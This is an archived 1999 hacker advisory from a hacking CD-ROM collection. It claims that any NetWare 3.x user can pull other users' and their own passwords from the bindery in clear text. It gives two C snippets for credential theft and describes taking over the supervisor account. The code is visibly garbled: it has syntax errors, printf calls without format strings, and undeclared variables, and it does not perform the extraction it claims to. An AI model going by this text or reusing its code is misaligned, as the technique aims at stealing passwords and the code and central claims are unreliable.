home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / misc / nwadmin.txt < prev    next >
Text File  |  2001-07-11  |  7KB  |  162 lines

  1.                     *****************************************
  2.                    /                                         \
  3.                    /                                         \
  4.                    /            Mnemonic Presents            \
  5.                    /      Exploiting the NetWare Bindery     \
  6.                    /            A KeyRoot Advisory           \
  7.                    /                                         \
  8.                    /                                         \
  9.                     *****************************************
  10.  
  11.  
  12.  
  13. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  14.  
  15. Exploiting The NetWare Bindery
  16.  
  17. 7/4/99
  18. Mnemonic and KeyRoot Information Security
  19. we'll get a webpage to go here
  20. xkyller@hotmail.com
  21.  
  22. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  23.  
  24.         For those of you who follow my stuff in Keen Veracity, some of the material in this advisory
  25. is repeated material from previous releases.  This advisory should be accurate for versions of
  26. NetWare up to and including NetWare 3.x
  27.  
  28. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  29.  
  30. 1 - Abstract
  31.  
  32.         For a long time, NetWare has been doing very poorly in the security field.  Even with the
  33. many tools released by various people to bring to light NetWare's weaknesses, Novell
  34. continues to ignore the existance of its problems until the details of an attack have been released
  35. to the public.  As a wannabe admin and a repetitive Pepsi drinker, I think it is necessary for me
  36. to release my research on NetWare security.  The problem now is that the NetWare bindery is
  37. openly accessible to any NetWare user.  This means to my password, your password, and that
  38. idiot in the office next to you's password.
  39.  
  40. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  41.  
  42. 2 - The NetWare Bindery
  43.  
  44.         NetWare's bindery is basically memory sectioned off for use of NetWare proccesses.  It's
  45. a database where NetWare keeps information about the network resources and users that
  46. many function groups use to store and retrieve information.  Each file server on a network
  47. system has its own bindery, and thus its own group of known objects.  The NetWare bindery
  48. can best be compared to the Force.  It binds the galaxy together.  Yeah..
  49.  
  50. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  51.  
  52. 3 - Description
  53.  
  54.         There are actually two things I want to discuss here.  The first is getting the password for
  55. someone else's account, and the other is getting the password for the account you're on.
  56. They're two seperate things.  Now check it out:
  57.         NetWare represents each shared application, printer, or a logged-in user as an object in
  58. the bindery.  Each object has identifying characteristics, known as properties.  Properties are
  59. dependant on objects which have these attributes:
  60.  
  61. OBJECT ID
  62. OBJECT NAME
  63. OBJECT TYPE
  64. OBJECT FLAG
  65. OBJECT SECURITY
  66. PROPERTIES FLAG
  67.  
  68. These are the properties attributes:
  69.  
  70. OBJECT ID
  71. PROPERTY NAME
  72. PROPERTY FLAGS
  73. PROPERTY SECURITY
  74. VALUES FLAG
  75.  
  76. The property name is a character string of up to 16 characters, including the null terminator. 
  77. Propery names have the same restrictions on the use of characters as object names.
  78.  
  79.         The property flags are stored as a one-byte field.  They indicate whether the property is
  80. static or dynamic, and whether it is an item or a set.  Sets are lists of object IDs which are
  81. interpreted by NetWare.  Item properties are unformatted binary fields stored in 128-byte
  82. segments which are interpreted by applications or NetWare APIs.
  83.         Any user can retrieve the 128-byte segment which represents an object's password, and
  84. then convert this binary string into clear text.  The user first calls GetObjectData() to get the
  85. name of the object.  This function uses ScanBinderyObject() to populate a structure of type
  86. OBJECT.  There are two ways of identifying objects.  You can use the OBJECT ID or the
  87. OBJECT NAME and OBJECT TYPE.  The last element is a dummy with all fields cleared to
  88. 0.  Here the user calls GetUserAndApplicationData() to retrieve the password.  For example:
  89.  
  90. ...
  91.  
  92. GLOBAL int GetUserAndAppInfo(char *argv[], int nMaxArgs, OBJECT *pObject)
  93. {
  94.  
  95.   strcpy(aop->obj.szObjectName, argv[nMaxArgs - 2])'
  96.   aop->obj.wObjectType = OT_APPLICATION;
  97.   strcpy(aop->szPassword, argv[nMaxArgs - 1]);
  98.   fread(&szPassword, sizeof(int), 1, inpf);
  99.   printf("\nThe password for that account is ", szPassword, "\n");
  100. }
  101.  
  102.         The second thing I want to discuss is the retrieval of the password for the account that
  103. you're on.  To do this we use  functions in the Connection Services.  So we can call
  104. GetConnectionNumber() to get the number that the file server has assigned to this workstation's
  105. connection.  Then we call GetConnInfo() to get the name of the user among other information
  106. including the password.  Take a look:
  107.  
  108. ...
  109.  
  110. void GetMyAccountPassword(char *argv[], int nMaxArgs, OBJECT *pObject)
  111. {
  112.   FS_CONNECTION_INFO *pFSConnInfo;
  113.  
  114.   pFSConnInfo = GetConnInfo(GetConnectionNumber());
  115.  
  116.   if (pFSConnInfo == NULL)
  117.   return -1;
  118.  
  119.   /* this is where the user info is now */
  120.  
  121.   *pObject = pFSConnInfo->fsLoggedObject.obj;
  122.   free9pFSConnInfo);
  123.   strcpy(aop->obj.szObjectName, argv[nMaxArgs - 2]);
  124.   aop->obj.wObjectType = OT_APPLICATION;
  125.   strcpy(aop->szPassword, argv[nMaxArgs -1]);
  126.   fread(&szPassword, sizeof(int), 1, inpf);
  127.  
  128.   printf("\nThe password for the account you're on is ", szPassword, "\n");
  129.  
  130. }
  131.  
  132.  
  133. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  134.  
  135. 4 - Impact
  136.  
  137.         Wow.  I shouldn't even have to go over this section.  If your network is running NetWare
  138. and you have private data of any sort on the network, your data is succeptible to the will of the
  139. attacker.  The severity of this attack is only as big as the system that is affected.  A hacker may
  140. decide to get the password to the supervisor account if the supervisor is logged in.  If that
  141. happens, the hacker will have complete control of every computer on the NetWare network. 
  142. The hacker may decide to change or delete your data, or nothing at all.
  143.  
  144. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  145.  
  146. 5 - What to do about it
  147.  
  148.         There is actually nothing that any of us can do about this right now.  We can't deny people
  149. access to the NetWare bindery or monitor their queries of it.  The best thing to do right now is
  150. to switch to something more secure until the problem is fixed in a later version of NetWare.  It
  151. would be wise to presume that it works on all versions of NetWare.
  152.  
  153. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  154.  
  155. Legions Interactive
  156. http://www.legions.org
  157. Keen Veracity
  158. http://www.underzine.com
  159. RootFest 2K
  160. http://www.rootfest.org
  161.  
  162. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^